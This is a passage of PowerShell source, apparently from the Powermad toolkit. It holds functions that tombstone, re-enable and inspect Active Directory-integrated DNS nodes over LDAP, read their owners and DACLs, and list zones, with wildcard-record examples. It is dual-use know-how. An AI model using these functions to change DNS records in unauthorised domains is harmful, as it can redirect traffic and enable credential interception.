        Write-Output "[-] $($_.Exception.Message)"
    }

    if($directory_entry.Path)
    {
        $directory_entry.Close()
    }

}

#endregion

#region begin DNS Functions

function Disable-ADIDNSNode
{
    <#
    .SYNOPSIS
    This function can tombstone an ADIDNS node.

    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause 
    
    .DESCRIPTION
    This function deletes a DNS record by setting an ADIDNS node's dnsTombstoned attribute to 'True' and the
    dnsRecord attribute to a zero type array. Note that the node remains in AD.

    .PARAMETER Credential
    PSCredential object that will be used to tombstone the DNS node.

    .PARAMETER DistinguishedName
    Distinguished name for the ADIDNS zone. Do not include the node name.

    .PARAMETER Domain
    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
    parameter.

    .PARAMETER DomainController
    Domain controller to target. This parameter is mandatory on a non-domain attached system.

    .PARAMETER Node
    The ADIDNS node name.

    .PARAMETER Partition
    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.

    .PARAMETER SOASerialNumber
    The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
    DNS server and querying an SOA record.

    .PARAMETER Zone
    The ADIDNS zone.

    .EXAMPLE
    Tombstone a wildcard record.
    Disable-ADIDNSNode -Node *
    
    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][String]$DistinguishedName,
        [parameter(Mandatory=$false)][String]$Domain,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$true)][String]$Node,
        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
        [parameter(Mandatory=$false)][String]$Zone,
        [parameter(Mandatory=$false)][Int32]$SOASerialNumber,
        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    if(!$DomainController -or !$Domain -or !$Zone)
    {

        try
        {
            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw
        }

    }

    if(!$DomainController)
    {
        $DomainController = $current_domain.PdcRoleOwner.Name
        Write-Verbose "[+] Domain Controller = $DomainController"
    }

    if(!$Domain)
    {
        $Domain = $current_domain.Name
        Write-Verbose "[+] Domain = $Domain"
    }

    if(!$Zone)
    {
        $Zone = $current_domain.Name
        Write-Verbose "[+] ADIDNS Zone = $Zone"
    }

    try
    {
        $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone -SOASerialNumber $SOASerialNumber
    }
    catch
    {
        Write-Output "[-] $($_.Exception.Message)"
        throw
    }

    if(!$DistinguishedName)
    {

        if($Partition -eq 'System')
        {
            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
        }
        else
        {
            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
        }
        
        $DC_array = $Domain.Split(".")

        ForEach($DC in $DC_array)
        {
            $distinguished_name += ",DC=$DC"
        }

        Write-Verbose "[+] Distinguished Name = $distinguished_name"
    }
    else 
    {
        $distinguished_name = "DC=$Node," + $DistinguishedName
    }

    if($Credential)
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
    }
    else
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
    }

    $timestamp = [int64](([datetime]::UtcNow.Ticks)-(Get-Date "1/1/1601").Ticks)
    $timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp))
    $timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)}

    [Byte[]]$DNS_record = 0x08,0x00,0x00,0x00,0x05,0x00,0x00,0x00 +
        $SOASerialNumberArray[0..3] +
        0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +
        $timestamp

    Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNS_record))"

    try
    {
        $directory_entry.InvokeSet('dnsRecord',$DNS_record)
        $directory_entry.InvokeSet('dnsTombstoned',$true)
        $directory_entry.SetInfo()
        Write-Output "[+] ADIDNS node $Node tombstoned"
    }
    catch
    {
        Write-Output "[-] $($_.Exception.Message)"
    }

    if($directory_entry.Path)
    {
        $directory_entry.Close()
    }

}

function Enable-ADIDNSNode
{
    <#
    .SYNOPSIS
    This function can turn a tombstoned node back into a valid record.

    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause 
    
    .DESCRIPTION
    This function can turn a tombstoned node back into a valid record. This function should be used in place of
    New-ADIDNSNode when working with nodes that already exist due to being previously added. 

    .PARAMETER Attribute
    The ADIDNS node attribute.

    .PARAMETER Credential
    PSCredential object that will be used to modify the attribute.

   .PARAMETER Data
    For most record types this will be the destination hostname or IP address. For TXT records this can be used
    for data.

    .PARAMETER DistinguishedName
    Distinguished name for the ADIDNS zone. Do not include the node name.

    .PARAMETER DNSRecord
    DNSRecord byte array. See MS-DNSP for details on the dnsRecord structure.

    .PARAMETER Domain
    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
    parameter.

    .PARAMETER DomainController
    Domain controller to target. This parameter is mandatory on a non-domain attached system.

    .PARAMETER Node
    The ADIDNS node name.

    .PARAMETER Partition
    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.

    .PARAMETER Port
    SRV record port.

    .PARAMETER Preference
    MX record preference.

    .PARAMETER Priority
    SRV record priority.

    .PARAMETER Tombstone
    Switch: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that
    allows it to be modified or fully tombstoned by any authenticated user.

    .PARAMETER SOASerialNumber
    The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
    DNS server and querying an SOA record.

    .PARAMETER Static
    Switch: Zeros out the timestamp to create a static record instead of a dynamic.

    .PARAMETER TTL
    Default = 600: DNS record TTL.

    .PARAMETER Type
    Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT.

    .PARAMETER Weight
    SRV record weight.

    .PARAMETER Zone
    The ADIDNS zone.

    .EXAMPLE
    Enable a wildcard record.
    Enable-ADIDNSNode -Node *

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][String]$Data,    
        [parameter(Mandatory=$false)][String]$DistinguishedName,
        [parameter(Mandatory=$false)][String]$Domain,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$true)][String]$Node,
        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
        [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A",
        [parameter(Mandatory=$false)][String]$Zone,
        [parameter(Mandatory=$false)][Byte[]]$DNSRecord,
        [parameter(Mandatory=$false)][Int]$Preference,
        [parameter(Mandatory=$false)][Int]$Priority,
        [parameter(Mandatory=$false)][Int]$Weight,
        [parameter(Mandatory=$false)][Int]$Port,
        [parameter(Mandatory=$false)][Int]$TTL = 600,
        [parameter(Mandatory=$false)][Int32]$SOASerialNumber,
        [parameter(Mandatory=$false)][Switch]$Static,
        [parameter(Mandatory=$false)][Switch]$Tombstone,
        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    if(!$DomainController -or !$Domain -or !$Zone)
    {

        try
        {
            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw
        }

    }

    if(!$DomainController)
    {
        $DomainController = $current_domain.PdcRoleOwner.Name
        Write-Verbose "[+] Domain Controller = $DomainController"
    }

    if(!$Domain)
    {
        $Domain = $current_domain.Name
        Write-Verbose "[+] Domain = $Domain"
    }

    if(!$Zone)
    {
        $Zone = $current_domain.Name
        Write-Verbose "[+] ADIDNS Zone = $Zone"
    }

    if(!$DistinguishedName)
    {
        
        if($Partition -eq 'System')
        {
            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
        }
        else
        {
            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
        }

        $DC_array = $Domain.Split(".")

        ForEach($DC in $DC_array)
        {
            $distinguished_name += ",DC=$DC"
        }

        Write-Verbose "[+] Distinguished Name = $distinguished_name"
    }
    else 
    {
        $distinguished_name = "DC=$Node," + $DistinguishedName
    }

    if(!$DNSRecord)
    {

        try 
        {

            if($Static)
            {
                $DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone -Static
            }
            else
            {
                $DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone 
            }

            Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNSRecord))"
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw    
        }

    }

    if($Credential)
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
    }
    else
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
    }

    try
    {
        $directory_entry.InvokeSet('dnsRecord',$DNSRecord)
        $directory_entry.SetInfo()
        Write-Output "[+] ADIDNS node $Node enabled"
    }
    catch
    {
        Write-Output "[-] $($_.Exception.Message)"
    }

    if($directory_entry.Path)
    {
        $directory_entry.Close()
    }

}

function Get-ADIDNSNodeAttribute
{
    <#
    .SYNOPSIS
    This function can return values populated in an ADIDNS node attribute.

    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause 
    
    .DESCRIPTION
    This function can be used to retrn an ADIDNS node attribute such as a dnsRecord array.

    .PARAMETER Attribute
    The ADIDNS node attribute.

    .PARAMETER Credential
    PSCredential object that will be used to read the attribute.

    .PARAMETER DistinguishedName
    Distinguished name for the ADIDNS zone. Do not include the node name.

    .PARAMETER Domain
    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
    parameter.

    .PARAMETER DomainController
    Domain controller to target. This parameter is mandatory on a non-domain attached system.

    .PARAMETER Node
    The ADIDNS node name.

    .PARAMETER Partition
    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.

    .PARAMETER Zone
    The ADIDNS zone.

    .EXAMPLE
    Get the dnsRecord attribute value of a node named test.
    Get-ADIDNSNodeAttribute -Node test -Attribute dnsRecord

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][String]$DistinguishedName,
        [parameter(Mandatory=$false)][String]$Domain,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$true)][String]$Attribute,
        [parameter(Mandatory=$true)][String]$Node,
        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
        [parameter(Mandatory=$false)][String]$Zone,
        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    if(!$DomainController -or !$Domain -or !$Zone)
    {

        try
        {
            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw
        }

    }

    if(!$DomainController)
    {
        $DomainController = $current_domain.PdcRoleOwner.Name
        Write-Verbose "[+] Domain Controller = $DomainController"
    }

    if(!$Domain)
    {
        $Domain = $current_domain.Name
        Write-Verbose "[+] Domain = $Domain"
    }

    if(!$Zone)
    {
        $Zone = $current_domain.Name
        Write-Verbose "[+] ADIDNS Zone = $Zone"
    }

    if(!$DistinguishedName)
    {
        
        if($Partition -eq 'System')
        {
            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
        }
        else
        {
            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
        }

        $DC_array = $Domain.Split(".")

        ForEach($DC in $DC_array)
        {
            $distinguished_name += ",DC=$DC"
        }

        Write-Verbose "[+] Distinguished Name = $distinguished_name"
    }
    else 
    {
        $distinguished_name = "DC=$Node," + $DistinguishedName
    }

    if($Credential)
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
    }
    else
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
    }

    try
    {
        $output = $directory_entry.InvokeGet($Attribute)
    }
    catch
    {
        Write-Output "[-] $($_.Exception.Message)"
    }

    if($directory_entry.Path)
    {
        $directory_entry.Close()
    }

    return $output
}

function Get-ADIDNSNodeOwner
{
    <#
    .SYNOPSIS
    This function can returns the owner of an ADIDNS Node.

    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause 
    
    .DESCRIPTION
    This function can returns the owner of an ADIDNS Node.

    .PARAMETER Attribute
    The ADIDNS node attribute.

    .PARAMETER Credential
    PSCredential object that will be used to read the attribute.

    .PARAMETER DistinguishedName
    Distinguished name for the ADIDNS zone. Do not include the node name.

    .PARAMETER Domain
    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
    parameter.

    .PARAMETER DomainController
    Domain controller to target. This parameter is mandatory on a non-domain attached system.

    .PARAMETER Node
    The ADIDNS node name.

    .PARAMETER Partition
    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.

    .PARAMETER Zone
    The ADIDNS zone.

    .EXAMPLE
    Get the owner of a node named test.
    Get-ADIDNSNodeOwner -Node test

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][String]$DistinguishedName,
        [parameter(Mandatory=$false)][String]$Domain,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$true)][String]$Node,
        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
        [parameter(Mandatory=$false)][String]$Zone,
        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    if(!$DomainController -or !$Domain -or !$Zone)
    {

        try
        {
            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw
        }

    }

    if(!$DomainController)
    {
        $DomainController = $current_domain.PdcRoleOwner.Name
        Write-Verbose "[+] Domain Controller = $DomainController"
    }

    if(!$Domain)
    {
        $Domain = $current_domain.Name
        Write-Verbose "[+] Domain = $Domain"
    }

    if(!$Zone)
    {
        $Zone = $current_domain.Name
        Write-Verbose "[+] ADIDNS Zone = $Zone"
    }

    if(!$DistinguishedName)
    {
        
        if($Partition -eq 'System')
        {
            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
        }
        else
        {
            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
        }

        $DC_array = $Domain.Split(".")

        ForEach($DC in $DC_array)
        {
            $distinguished_name += ",DC=$DC"
        }

        Write-Verbose "[+] Distinguished Name = $distinguished_name"
    }
    else 
    {
        $distinguished_name = "DC=$Node," + $DistinguishedName
    }

    if($Credential)
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
    }
    else
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
    }

    try
    {
        $output = $directory_entry.PsBase.ObjectSecurity.Owner
    }
    catch
    {
        Write-Output "[-] $($_.Exception.Message)"
    }

    if($directory_entry.Path)
    {
        $directory_entry.Close()
    }

    return $output
}

function Get-ADIDNSNodeTombstoned
{
    <#
    .SYNOPSIS
    This function can determine if a node has been tombstoned.

    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause 
    
    .DESCRIPTION
    This function checks the values of dnsTombstoned and dnsRecord in order to determine if a node if currently
    tombstoned.

    .PARAMETER Attribute
    The ADIDNS node attribute.

    .PARAMETER Credential
    PSCredential object that will be used to read the attribute.

    .PARAMETER DistinguishedName
    Distinguished name for the ADIDNS zone. Do not include the node name.

    .PARAMETER Domain
    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
    parameter.

    .PARAMETER DomainController
    Domain controller to target. This parameter is mandatory on a non-domain attached system.

    .PARAMETER Node
    The ADIDNS node name.

    .PARAMETER Partition
    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.

    .PARAMETER Zone
    The ADIDNS zone.

    .EXAMPLE
    Get the dnsRecord attribute value of a node named test.
    Get-ADIDNSNodeAttribute -Node test -Attribute dnsRecord
    
    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][String]$DistinguishedName,
        [parameter(Mandatory=$false)][String]$Domain,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$true)][String]$Node,
        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
        [parameter(Mandatory=$false)][String]$Zone,
        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    if(!$DomainController -or !$Domain -or !$Zone)
    {

        try
        {
            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw
        }

    }

    if(!$DomainController)
    {
        $DomainController = $current_domain.PdcRoleOwner.Name
        Write-Verbose "[+] Domain Controller = $DomainController"
    }

    if(!$Domain)
    {
        $Domain = $current_domain.Name
        Write-Verbose "[+] Domain = $Domain"
    }

    if(!$Zone)
    {
        $Zone = $current_domain.Name
        Write-Verbose "[+] ADIDNS Zone = $Zone"
    }

    if(!$DistinguishedName)
    {
        
        if($Partition -eq 'System')
        {
            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
        }
        else
        {
            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
        }

        $DC_array = $Domain.Split(".")

        ForEach($DC in $DC_array)
        {
            $distinguished_name += ",DC=$DC"
        }

        Write-Verbose "[+] Distinguished Name = $distinguished_name"
    }
    else 
    {
        $distinguished_name = "DC=$Node," + $DistinguishedName
    }

    if($Credential)
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
    }
    else
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
    }

    try
    {
        $dnsTombstoned = $directory_entry.InvokeGet('dnsTombstoned')
        $dnsRecord = $directory_entry.InvokeGet('dnsRecord')
    }
    catch
    {

        if($_.Exception.Message -notlike '*Exception calling "InvokeGet" with "1" argument(s): "The specified directory service attribute or value does not exist.*' -and
        $_.Exception.Message -notlike '*The following exception occurred while retrieving member "InvokeGet": "The specified directory service attribute or value does not exist.*')
        {
            Write-Output "[-] $($_.Exception.Message)"
            $directory_entry.Close()
            throw
        }

    }

    if($directory_entry.Path)
    {
        $directory_entry.Close()
    }

    $node_tombstoned = $false

    if($dnsTombstoned -and $dnsRecord)
    {

        if($dnsRecord[0].GetType().name -eq [Byte])
        {

            if($dnsRecord.Count -ge 32 -and $dnsRecord[2] -eq 0)
            {
                $node_tombstoned = $true
            }

        }

    }

    return $node_tombstoned
}

function Get-ADIDNSPermission
{
    <#
    .SYNOPSIS
    This function gets a DACL of an ADIDNS node or zone.

    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause 
    
    .DESCRIPTION
    This function can be used to confirm that a user or group has the required permission
    to modify an ADIDNS zone or node.

    .PARAMETER Credential
    PSCredential object that will be used to enumerate the DACL.

    .PARAMETER DistinguishedName
    Distinguished name for the ADIDNS node or zone.

    .PARAMETER Domain
    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
    parameter.

    .PARAMETER DomainController
    Domain controller to target. This parameter is mandatory on a non-domain attached system.

    .PARAMETER Node
    The ADIDNS node name.

    .PARAMETER Partition
    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.

    .PARAMETER Zone
    The ADIDNS zone.

    .EXAMPLE
    Get the DACL for the default ADIDNS zone.
    Get-ADIDNSPermission

    .EXAMPLE
    Get the DACL for an ADIDNS node named test.
    Get-ADIDNSPermission -Node test

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][String]$DistinguishedName,
        [parameter(Mandatory=$false)][String]$Domain,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$false)][String]$Node,
        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
        [parameter(Mandatory=$false)][String]$Zone,
        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    if(!$DomainController -or !$Domain -or !$Zone)
    {

        try
        {
            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw
        }

    }

    if(!$DomainController)
    {
        $DomainController = $current_domain.PdcRoleOwner.Name
        Write-Verbose "[+] Domain Controller = $DomainController"
    }

    if(!$Domain)
    {
        $Domain = $current_domain.Name
        Write-Verbose "[+] Domain = $Domain"
    }

    if(!$Zone)
    {
        $Zone = $current_domain.Name
        Write-Verbose "[+] ADIDNS Zone = $Zone"
    }

    if(!$DistinguishedName)
    {

        if($Node)
        {

            if($Partition -eq 'System')
            {
                $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
            }
            else
            {
                $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
            }

        }
        else
        {

            if($Partition -eq 'System')
            {
                $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
            }
            else
            {
                $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
            }

        }

        $DC_array = $Domain.Split(".")

        ForEach($DC in $DC_array)
        {
            $distinguished_name += ",DC=$DC"
        }

        Write-Verbose "[+] Distinguished Name = $distinguished_name"
    }
    else 
    {
        $distinguished_name = $DistinguishedName
    }

    if($Credential)
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
    }
    else
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
    }

    try
    {
        $directory_entry_security = $directory_entry.psbase.ObjectSecurity
        $directory_entry_DACL = $directory_entry_security.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier])
        $output=@()
        
        ForEach($ACE in $directory_entry_DACL)
        {
            $principal = ""
            $principal_distingushed_name = ""

            try
            {
                $principal = $ACE.IdentityReference.Translate([System.Security.Principal.NTAccount])
            }
            catch
            {
             
                if($ACE.IdentityReference.AccountDomainSid)
                {

                    if($Credential)
                    {
                        $directory_entry_principal = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/<SID=$($ACE.IdentityReference.Value)>",$Credential.UserName,$credential.GetNetworkCredential().Password)
                    }
                    else
                    {
                        $directory_entry_principal = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/<SID=$($ACE.IdentityReference.Value)>"
                    }

                    if($directory_entry_principal.Properties.userPrincipalname)
                    {
                        $principal = $directory_entry_principal.Properties.userPrincipalname.Value
                    }
                    else
                    {
                        $principal = $directory_entry_principal.Properties.sAMAccountName.Value
                        $principal_distingushed_name = $directory_entry_principal.distinguishedName.Value
                    }

                    if($directory_entry_principal.Path)
                    {
                        $directory_entry_principal.Close()
                    }

                }

            }
            
            $PS_object = New-Object PSObject
            Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "Principal" $principal

            if($principal_distingushed_name)
            {
                Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "DistinguishedName" $principal_distingushed_name
            }

            Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "IdentityReference" $ACE.IdentityReference
            Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ActiveDirectoryRights" $ACE.ActiveDirectoryRights
            Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritanceType" $ACE.InheritanceType
            Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ObjectType" $ACE.ObjectType
            Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritedObjectType" $ACE.InheritedObjectType
            Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ObjectFlags" $ACE.ObjectFlags
            Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "AccessControlType" $ACE.AccessControlType 
            Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "IsInherited" $ACE.IsInherited
            Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritanceFlags" $ACE.InheritanceFlags
            Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "PropagationFlags" $ACE.PropagationFlags
            $output += $PS_object
        }

    }
    catch
    {

        if($_.Exception.Message -notlike "*Some or all identity references could not be translated.*")
        {
            Write-Output "[-] $($_.Exception.Message)"
        }

    }

    if($directory_entry.Path)
    {
        $directory_entry.Close()
    }

    return $output
}

function Get-ADIDNSZone
{
    <#
    .SYNOPSIS
    This function can return ADIDNS zones.

    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause 
    
    .DESCRIPTION
    This function can return ADIDNS zones. The output format is a distinguished name. The distinguished name will
    contain a partition value of either DomainDNSZones,ForestDNSZones, or System. The correct value can be inputed
    to the Partition parameter for other Powermad ADIDNS functions.

    .PARAMETER Credential
    PSCredential object that will be used to read the attribute.

    .PARAMETER DistinguishedName
    Distinguished name for the ADIDNS zone. Do not include the node name.

    .PARAMETER Domain
    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
    parameter.

    .PARAMETER DomainController
    Domain controller to target. This parameter is mandatory on a non-domain attached system.

    .PARAMETER Partition
    (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. By default, this
    function will loop through all three partitions.

    .PARAMETER Zone
    The ADIDNS zone to serach for.

    .EXAMPLE
    Get all ADIDNS zones.
    Get-ADIDNSZone

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][String]$DistinguishedName,
        [parameter(Mandatory=$false)][String]$Domain,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$false)][String]$Zone,
        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "",
        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    if(!$DomainController -or !$Domain)
    {

        try
        {
            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw
        }

    }

    if(!$DomainController)
    {
        $DomainController = $current_domain.PdcRoleOwner.Name
        Write-Verbose "[+] Domain Controller = $DomainController"
    }

    if(!$Domain)
    {
        $Domain = $current_domain.Name
        Write-Verbose "[+] Domain = $Domain"
    }

    if(!$Partition)
    {

        if(!$DistinguishedName)
        {
            $partition_list = @("DomainDNSZones","ForestDNSZones","System")
        }
        else
        {
            $partition_array = $DistinguishedName.Split(",")
            $partition_list = @($partition_array[0].Substring(3))
        }

    }
    else
    {
        $partition_list = @($Partition)
    }

    ForEach($partition_entry in $partition_list)
    {
        Write-Verbose "[+] Partition = $partition_entry"

        if(!$DistinguishedName)
        {

            if($partition_entry -eq 'System')
            {
                $distinguished_name = "CN=$partition_entry"
            }
            else
